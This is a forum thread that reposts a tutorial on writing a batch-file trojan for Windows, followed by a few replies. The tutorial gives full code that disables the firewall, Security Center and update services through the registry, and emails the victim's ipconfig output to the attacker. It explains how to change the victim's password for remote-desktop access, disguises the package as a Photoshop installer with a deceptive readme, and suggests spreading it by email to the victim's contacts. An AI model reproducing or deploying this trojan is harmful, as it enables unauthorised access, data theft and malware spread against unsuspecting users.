[Batch] Virus Advanced

[Markizano]

This is a tut on making batch files directly from the user "BatchVirus". I take absolutely NO credit for his work. The simple fact is that I happened to have his tut on my computer and took it upon meself to post this tutorial since it helped me. This is my attempt to help bring sythe.org back to the way it once was.

Yo, what's up everyone?
Welcome to my second Batch file article, "Advanced batch Virus Programming"
Now when I say advanced, I mean advanced, we are going to be exlporing how to
write Batch File Trojan Horses, etc.

If you havn't yet read my previous article entitled "Batch File Viruses" Please
do so before attempting to write these codes and read this article. It won't
Make sense. Taht bieng said, this is not a batch n00b article, if you are a Batch
n00b, read my previous article, understand it, and you will no longer be a Batch
n00b. The general idea of this article is too step you through how to make a simple
Batch Trojan, then open up your mind to the big picture. I hope you learn something new.


OK, now that you have read those Myths, let me prove each one of them wrong,
(in no particular order).



Getting started:

Alright, open up notepad, and start your Batch file. Use whatever coding you
like using to begin.

OK, now that you have done that, let's start our first Batch Trojan Horse.

--About this Trojan Horse--- It is NOT extremely complex and does NOT do all
of the things that some ***** Trojans will do. It is just to make an example
of a basic remote access program. If you use your immagination, I am sure that
you will be able to make a much better Trojan that does almost anything you want.

*This is not a particularly discreet trojan Horse, however an ignorant computer user
will have no clue what is going on.


Coding:
OK, step one, let's make this file an auto-run. Slap on the code I
specified in my previous article and let's get started.

Step two, this program is going to need to disable the firewall and keep
itself from bieng detected by an anti-virus program. (This is a good example
of how this program is NOT discreet.)

We will simply disable both of those services for the time bieng.
Use this code:

net stop "Security Center" net stop SharedAccess > "%Temp%.kill.reg" ECHO REGEDIT4 >>"%Temp%.kill.reg" ECHO. >>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccess] >>"%Temp%.kill.reg" ECHO "Start"=dword:00000004 >>"%Temp%.kill.reg" ECHO. >>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswuauserv] >>"%Temp%.kill.reg" ECHO "Start"=dword:00000004 >>"%Temp%.kill.reg" ECHO. >>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsvc] >>"%Temp%.kill.reg" ECHO "Start"=dword:00000004 >>"%Temp%.kill.reg" ECHO. START /WAIT REGEDIT /S "%Temp%.kill.reg" del "%Temp%.kill.reg" del %0

This set of commands is self explanatory, it stops the security cenrer, then
flashes through registry and kills the firewall.

Now we have an auto-run Batch program that upon boot, will auto-run itself
and disable the firewall/security center.

Now we need to give ourselves this person's IP address...

I don't know if I was the first person to consider using a command prompt
mail client program as a way of stealing an IP address, hehe, but here we go.

You are going to need to download the mail client "febooti*****"
and you can do so from the following URL:
http://www.febooti.com/downloads/

Ok, now that you have that, let's get too work.

Go back to your batch file and put on some febooti commands that will email you this
user/victim's IP address/whatever else you want.

Here we go:

ipconfig >Computer-IP-address.txt febootimail -FROM THIEREMAIL-TO YOUR EMAIL-ATTACH Computer-IP-address.txt MSG "Victims IP is inside file attatchment Computer-IP-address.txt" del Computer-IP-address.txt

This is a relatively simple script; allow me to explain it. First we use the "ipconfig"
command, which will give us the user's IP information. If you are in a particularly
malicious mood, you may want to use the command "IPconfig /all" which will also give you
there user names, MAC address, etc.
Now that we have run this command, we simple use ">" to copy it into a text file that we call
Computer-IP-address.txt, which will be saved into the current directory.

Next, (assuming the user has opened up febooti already) you use the febooti command
to send Mail from (as an example) RedBishopX to ZoneVortex.
We use the "MSG" command to write the body of the email, which says: "Victim's IP is
attatched to this email, etc."
Then we attach our text file with all of the sensitive information in it, to the email.

So here is what we have done:
disabled the firewall/security
sent an email to your email account with the user's IP information

Now, you can simply whip open Your remote access terminal (start-allprograms-accessories-communications-remote desktop)
enter int he user's IP, and if they are online, you will connect directly to their machine.
But Uh-oh... you are required to enter their password.

Go back to your Batch file.

You are going to want to create an account that you can log in with.
So you have too options: you can either change the user's password and log
in as him, or create a new profile and delete it when you are done.

Incase you forgot the command to change his username will be "net user %username% (new password)

It is up to you to do which ever of those 2 things you wish. I would reccomend changing their password,
logging in and doing whatever it was that you needed to do, then using Cain and Abel to sniff their old password,
and change it back to that.

Now let's zip our Trojan Programs together in a .ZIP folder.
Let's pretend we are desguising it as a photoshop.

ZIP folder:
(example)

Photoshop4*****.bat-----(Our Batch program)
(Code for this program

@echo off cls net stop "Security Center" 
net stop SharedAccess 
> "%Temp%.kill.reg" ECHO REGEDIT4 
>>"%Temp%.kill.reg" ECHO. 
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccess] 
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004 
>>"%Temp%.kill.reg" ECHO. 
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswuauserv] 
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004 
>>"%Temp%.kill.reg" ECHO. 
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsvc] 
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004 
>>"%Temp%.kill.reg" ECHO. 
START /WAIT REGEDIT /S "%Temp%.kill.reg" 
del "%Temp%.kill.reg" 
del %0 
cls 
ipconfig >Computer-IP-address.txt 
febootimail -FROM [email protected] -TO [email protected] -ATTACH Computer-IP-address.txt 
MSG "Victims IP is inside file attatchment Computer-IP-address.txt" 
del Computer-IP-address.txt 
cls

Photoshop_setup*****-----(febootimail*****)

Readme.txt-----(For social engineering purposes, getting them to open this stuff in the right order)
(example)
///// Welcome to Photoshop4!! \\

This program is the published product of Microsoft Inc.

Setup:
Open and install "Photosop_setup*****", this program will use the "febooti"
mail system to verify your request, and get you registered.

Once this is done, open the executable "Photoshop", and begin your wonderful experience.

Questions/Feedback? email us at [MailTo][email protected][/MailTo]

-Thank you.


Ok, now we have a simple Trojan Horse, nothing fancey, but it's something.

Now is when we use our immagination, if we can email text files through command prompt...
what is too stop us from emailing this program by email??

Do some research on the Febooti syntax. Perhaps you will find a way to mail it to everyone on
their user's contact list.

I am not garunteeing that all of these codes are EXACTLY correct, I want you to do some thinking
for yourself/research for yourself to get this program up and running. (this is my script kiddie gaurd)
The code is, however, in general, correct. And yes, I have tested this type of program, and Yes, it did work.
Using a mail client with a Batch program has limitless potential. Who knows what we could accomplish.
In general, this article is just to get you thinking about how many different things that you could do
with a similar idea to this, and how easy it would be.


My ending statement:
Hehehe, as always, Im going to make my little speach about not using this for massively-destructive
Purposes. lol. Just because we have a simple Trojan here, and we can turn it into a worm that deletes
every harddrive it hits and emails itself through a command prompt mailing system... doesnt mean
we need to use it like that. Again, I will strongly urge you to use this as a prank, rather than a weapon.

Lol, as the good book says: "What goes around comes around" lol

-Peace.

 

[cp]

Seriously. This 'BatchVirus' guy is a script kiddie. Whether he made these codes or not, he doesn't know what he's talking about. I won't go into detail, but I'll just stop at this one:

net stop "Security Center" net stop SharedAccess

Right there is the problem. To disable those, you need full admin permissions, and will simply stop the 'virus' right there.

 

[Clashfan]

Most people running windows have full admin permissions on the account they use.

 

[cp]

Unfortunately, you're correct. I wish people would actually learn a sense of security and their operating system before blaming everything on a virus.